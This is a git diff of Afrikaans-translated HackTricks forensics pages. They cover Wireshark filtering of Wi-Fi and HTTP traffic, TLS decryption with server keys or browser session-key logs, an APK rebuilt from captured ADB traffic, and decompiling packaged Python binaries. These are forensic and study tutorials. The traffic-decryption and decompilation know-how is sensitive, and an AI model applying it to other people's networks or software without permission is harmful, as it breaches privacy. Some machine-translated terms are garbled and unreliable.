* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
As jy reeds **MAC-adresse ken, kan jy dit uit die uitset verwyder** deur kontroles soos hierdie een by te voeg: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Nadat jy **onbekende MAC-adresse wat binne die netwerk kommunikeer, opgespoor het**, kan jy **filters** soos die volgende een gebruik: `wlan.addr==<MAC-adres> && (ftp || http || ssh || telnet)` om die verkeer te filtreer. Let daarop dat ftp/http/ssh/telnet-filters nuttig is as jy die verkeer ontsluit het.
|
||||
|
||||
# Ontsleutel Verkeer
|
||||
|
||||
Wysig --> Voorkeure --> Protokolle --> IEEE 802.11 --> Wysig
|
||||
|
||||
![](<../../../.gitbook/assets/image (426).png>)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,181 @@
|
|||
# Wireshark-truuks
|
||||
|
||||
## Wireshark-truuks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Verbeter jou Wireshark-vaardighede
|
||||
|
||||
### Tutoriale
|
||||
|
||||
Die volgende tutoriale is fantasties om 'n paar koel basiese truuks te leer:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
|
||||
|
||||
### Geanaliseerde inligting
|
||||
|
||||
**Ekspertinligting**
|
||||
|
||||
Deur te klik op _**Analyze** --> **Expert Information**_ sal jy 'n **oorsig** kry van wat in die geanaliseerde pakkies gebeur:
|
||||
|
||||
![](<../../../.gitbook/assets/image (570).png>)
|
||||
|
||||
**Opgeloste adresse**
|
||||
|
||||
Onder _**Statistics --> Resolved Addresses**_ kan jy verskeie **inligting** vind wat deur Wireshark "**opgelos**" is, soos poort/vervoer na protokol, MAC na die vervaardiger, ens. Dit is interessant om te weet wat betrokke is in die kommunikasie.
|
||||
|
||||
![](<../../../.gitbook/assets/image (571).png>)
|
||||
|
||||
**Protokolhiërargie**
|
||||
|
||||
Onder _**Statistics --> Protocol Hierarchy**_ kan jy die **protokolle** vind wat betrokke is by die kommunikasie en inligting daaroor.
|
||||
|
||||
![](<../../../.gitbook/assets/image (572).png>)
|
||||
|
||||
**Gesprekke**
|
||||
|
||||
Onder _**Statistics --> Conversations**_ kan jy 'n **opsomming van die gesprekke** in die kommunikasie vind en inligting daaroor.
|
||||
|
||||
![](<../../../.gitbook/assets/image (573).png>)
|
||||
|
||||
**Eindpunte**
|
||||
|
||||
Onder _**Statistics --> Endpoints**_ kan jy 'n **opsomming van die eindpunte** in die kommunikasie vind en inligting daaroor.
|
||||
|
||||
![](<../../../.gitbook/assets/image (575).png>)
|
||||
|
||||
**DNS-inligting**
|
||||
|
||||
Onder _**Statistics --> DNS**_ kan jy statistieke oor die vasgevangste DNS-versoek vind.
|
||||
|
||||
![](<../../../.gitbook/assets/image (577).png>)
|
||||
|
||||
**I/O-grafiek**
|
||||
|
||||
Onder _**Statistics --> I/O Graph**_ kan jy 'n **grafiek van die kommunikasie** vind.
|
||||
|
||||
![](<../../../.gitbook/assets/image (574).png>)
|
||||
|
||||
### Filtreerders
|
||||
|
||||
Hier kan jy Wireshark-filtreerders vind, afhangende van die protokol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
|
||||
Ander interessante filtreerders:
|
||||
|
||||
* `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
|
||||
* HTTP- en aanvanklike HTTPS-verkeer
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
|
||||
* HTTP- en aanvanklike HTTPS-verkeer + TCP SYN
|
||||
* `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
|
||||
* HTTP- en aanvanklike HTTPS-verkeer + TCP SYN + DNS-versoeke
|
||||
|
||||
### Soek
|
||||
|
||||
As jy wil **soek** na **inhoud** binne die **pakkies** van die sessies, druk _CTRL+f_. Jy kan nuwe lae byvoeg tot die hoofinligtingstabel (No., Tyd, Bron, ens.) deur die regterknoppie te druk en dan die kolom te wysig.
|
||||
|
||||
### Gratis pcap-laboratoriums
|
||||
|
||||
**Oefen met die gratis uitdagings van: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
|
||||
|
||||
## Identifiseer domeine
|
||||
|
||||
Jy kan 'n kolom byvoeg wat die Host HTTP-kop wys:
|
||||
|
||||
![](<../../../.gitbook/assets/image (403).png>)
|
||||
|
||||
En 'n kolom wat die Bedienernaam byvoeg van 'n inisieerende HTTPS-verbinding (**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
## Identifiseer plaaslike hostnames
|
||||
|
||||
### Vanaf DHCP
|
||||
|
||||
In die huidige Wireshark moet jy in plaas van `bootp` soek vir `DHCP`
|
||||
|
||||
![](<../../../.gitbook/assets/image (404).png>)
|
||||
|
||||
### Vanaf NBNS
|
||||
|
||||
![](<../../../.gitbook/assets/image (405).png>)
|
||||
|
||||
## Ontsleutel TLS
|
||||
|
||||
### Ontsleutel https-verkeer met bedienerprivaatsleutel
|
||||
|
||||
_edit>preference>protocol>ssl>_
|
||||
|
||||
![](<../../../.gitbook/assets/image (98).png>)
|
||||
|
||||
Druk _Edit_ en voeg al die data van die bediener en die privaatsleutel by (_IP, Poort, Protokol, Sleutel-lêer en wagwoord_)
|
||||
|
||||
### Ontsleutel https-verkeer met simmetriese sessiesleutels
|
||||
|
||||
Beide Firefox en Chrome het die vermoë om TLS-sessiesleutels te log, wat met Wireshark gebruik kan word om TLS-verkeer te ontsleutel. Dit maak diepgaande analise van veilige kommunikasie moontlik. Meer besonderhede oor hoe om hierdie ontsleuteling uit te voer, is te vinde in 'n gids by [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
Om dit op te spoor, soek binne die omgewing na die veranderlike `SSLKEYLOGFILE`
|
||||
|
||||
'n Lêer van gedeelde sleutels sal so lyk:
|
||||
|
||||
![](<../../../.gitbook/assets/image (99).png>)
|
||||
|
||||
Om dit in Wireshark in te voer, gaan na \_edit > preference > protocol > ssl > en voer dit in (Pre)-Master-Secret log filename:
|
||||
|
||||
![](<../../../.gitbook/assets/image (100).png>)
|
||||
|
||||
## ADB-kommunikasie
|
||||
|
||||
Onttrek 'n APK uit 'n ADB-kommunikasie waar die APK gestuur is:
|
||||
```python
|
||||
from scapy.all import *
|
||||
|
||||
pcap = rdpcap("final2.pcapng")
|
||||
|
||||
def rm_data(data):
|
||||
splitted = data.split(b"DATA")
|
||||
if len(splitted) == 1:
|
||||
return data
|
||||
else:
|
||||
return splitted[0]+splitted[1][4:]
|
||||
|
||||
all_bytes = b""
|
||||
for pkt in pcap:
|
||||
if Raw in pkt:
|
||||
a = pkt[Raw]
|
||||
if b"WRTE" == bytes(a)[:4]:
|
||||
all_bytes += rm_data(bytes(a)[24:])
|
||||
else:
|
||||
all_bytes += rm_data(bytes(a))
|
||||
print(all_bytes)
|
||||
|
||||
f = open('all_bytes.data', 'w+b')
|
||||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,236 @@
|
|||
# Ontbind saamgestelde Python-binêre lêers (exe, elf) - Haal uit .pyc
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien belonings tot **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Vanaf Saamgestelde Binêre na .pyc
|
||||
|
||||
Vanaf 'n **ELF** saamgestelde binêre lêer kan jy die .pyc kry met:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
In 'n **python exe binêre lêer** wat gekompileer is, kan jy die .pyc kry deur die volgende uit te voer:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Van .pyc na Python-kode
|
||||
|
||||
Vir die **.pyc** data ("gekompileerde" Python) moet jy begin om te probeer om die **oorspronklike** **Python** **kode** te **onttrek**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Maak seker** dat die binêre lêer die **uitbreiding** "**.pyc**" het (as nie, gaan uncompyle6 nie werk nie)
|
||||
|
||||
Tydens die uitvoering van **uncompyle6** mag jy die **volgende foute** teëkom:
|
||||
|
||||
### Fout: Onbekende siernommer 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Om dit reg te stel, moet jy die **korrekte toorgetal by die begin van die gegenereerde lêer voeg**.
|
||||
|
||||
**Toorgetalle verskil met die Python-weergawe**, om die toorgetal van **Python 3.8** te kry, moet jy **'n Python 3.8-terminal oopmaak** en die volgende uitvoer:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
Die **sielnommer** in hierdie geval vir python3.8 is **`0x550d0d0a`**, dan, om hierdie fout te regstel, sal jy die volgende bytes aan die **begin** van die **.pyc lêer** moet **toevoeg**: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Sodra** jy daardie sielkundige kop bygevoeg het, behoort die **fout reggestel te wees.**
|
||||
|
||||
Dit is hoe 'n korrek bygevoegde **.pyc python3.8 sielkundige kop** sal lyk:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Fout: Decompiling generiese foute
|
||||
|
||||
**Ander foute** soos: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` kan verskyn.
|
||||
|
||||
Dit beteken waarskynlik dat jy die **sielkundige nommer nie korrek bygevoeg** het nie of dat jy nie die **korrekte sielkundige nommer gebruik** het nie, so maak **seker jy gebruik die regte een** (of probeer 'n nuwe een).
|
||||
|
||||
Kyk na die vorige foutdokumentasie.
|
||||
|
||||
## Outomatiese Gereedskap
|
||||
|
||||
Die [**python-exe-unpacker gereedskap**](https://github.com/countercept/python-exe-unpacker) dien as 'n kombinasie van verskeie gemeenskapsbeskikbare gereedskappe wat ontwerp is om navorsers te help met die ontpak en dekompilering van uitvoerbare lêers geskryf in Python, spesifiek dié geskep met py2exe en pyinstaller. Dit sluit YARA-reëls in om te identifiseer of 'n uitvoerbare lêer op Python gebaseer is en bevestig die skeppingsgereedskap.
|
||||
|
||||
### ImportError: Lêernaam: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' bestaan nie
|
||||
|
||||
'n Algemene probleem wat ondervind word, behels 'n onvolledige Python bytekode lêer as gevolg van die **ontpakkingsproses met unpy2exe of pyinstxtractor**, wat dan **nie deur uncompyle6 herken word as gevolg van 'n ontbrekende Python bytekode weergawe nommer**. Om hierdie probleem aan te spreek, is 'n voorvoegopsie bygevoeg wat die nodige Python bytekode weergawe nommer byvoeg, wat die dekompileringproses fasiliteer.
|
||||
|
||||
Voorbeeld van die probleem:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
```
|
||||
|
||||
```python
|
||||
# Successful decompilation after using the prepend option
|
||||
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||
[*] On Python 2.7
|
||||
[+] Magic bytes are already appended.
|
||||
|
||||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Ontleding van Python-samestelling
|
||||
|
||||
As jy nie in staat was om die oorspronklike Python-kode te onttrek nie volgens die vorige stappe, kan jy probeer om die samestelling te ontleed (maar dit is nie baie beskrywend nie, so probeer weer om die oorspronklike kode te onttrek). In [hier](https://bits.theorem.co/protecting-a-python-codebase/) het ek 'n baie eenvoudige kode gevind om die _.pyc_ binêre kode te ontleed (sterkte met die begrip van die kodevloei). As die _.pyc_ van Python2 afkomstig is, gebruik Python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
>>> import struct
|
||||
>>> import imp
|
||||
>>>
|
||||
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||
... magic = f.read(4)
|
||||
... timestamp = f.read(4)
|
||||
... code = f.read()
|
||||
...
|
||||
>>>
|
||||
>>> # Unpack the structured content and un-marshal the code
|
||||
>>> magic = struct.unpack('<H', magic[:2])
|
||||
>>> timestamp = struct.unpack('<I', timestamp)
|
||||
>>> code = marshal.loads(code)
|
||||
>>> magic, timestamp, code
|
||||
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||
>>>
|
||||
>>> # Verify if the magic number corresponds with the current python version
|
||||
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||
True
|
||||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python na Uitvoerbare lêer
|
||||
|
||||
Om te begin, gaan ons jou wys hoe lassies gekompileer kan word in py2exe en PyInstaller.
|
||||
|
||||
### Om 'n lassie te skep met behulp van py2exe:
|
||||
|
||||
1. Installeer die py2exe-pakket vanaf [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Vir die lassie (in hierdie geval, ons sal dit hello.py noem), gebruik 'n skriffie soos die een in Figuur 1. Die opsie "bundle\_files" met die waarde van 1 sal alles insluitend die Python-interpreter in een uitvoerbare lêer saamvoeg.
|
||||
3. Sodra die skriffie gereed is, sal ons die bevel "python setup.py py2exe" uitreik. Dit sal die uitvoerbare lêer skep, net soos in Figuur 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
||||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||
running py2exe
|
||||
*** searching for required modules ***
|
||||
*** parsing results ***
|
||||
*** finding dlls needed ***
|
||||
*** create binaries ***
|
||||
*** byte compile python files ***
|
||||
*** copy extensions ***
|
||||
*** copy dlls ***
|
||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Om 'n lading te skep met behulp van PyInstaller:
|
||||
|
||||
1. Installeer PyInstaller met behulp van pip (pip install pyinstaller).
|
||||
2. Daarna sal ons die opdrag "pyinstaller --onefile hello.py" uitreik ('n herinnering dat 'hello.py' ons lading is). Dit sal alles saamvoeg in een uitvoerbare lêer.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
108 INFO: Python: 2.7.14
|
||||
108 INFO: Platform: Windows-10-10.0.16299
|
||||
………………………………
|
||||
5967 INFO: checking EXE
|
||||
5967 INFO: Building EXE because out00-EXE.toc is non existent
|
||||
5982 INFO: Building EXE from out00-EXE.toc
|
||||
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
|
||||
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Foutbeloning wenk**: **teken aan** vir **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,52 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Hier kan jy interessante truuks vir spesifieke lêertipes en/of sagteware vind:
|
||||
|
||||
{% page-ref page=".pyc.md" %}
|
||||
|
||||
{% page-ref page="browser-artifacts.md" %}
|
||||
|
||||
{% page-ref page="desofuscation-vbs-cscript.exe.md" %}
|
||||
|
||||
{% page-ref page="local-cloud-storage.md" %}
|
||||
|
||||
{% page-ref page="office-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="pdf-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="png-tricks.md" %}
|
||||
|
||||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,178 @@
|
|||
# Browser Artefakte
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
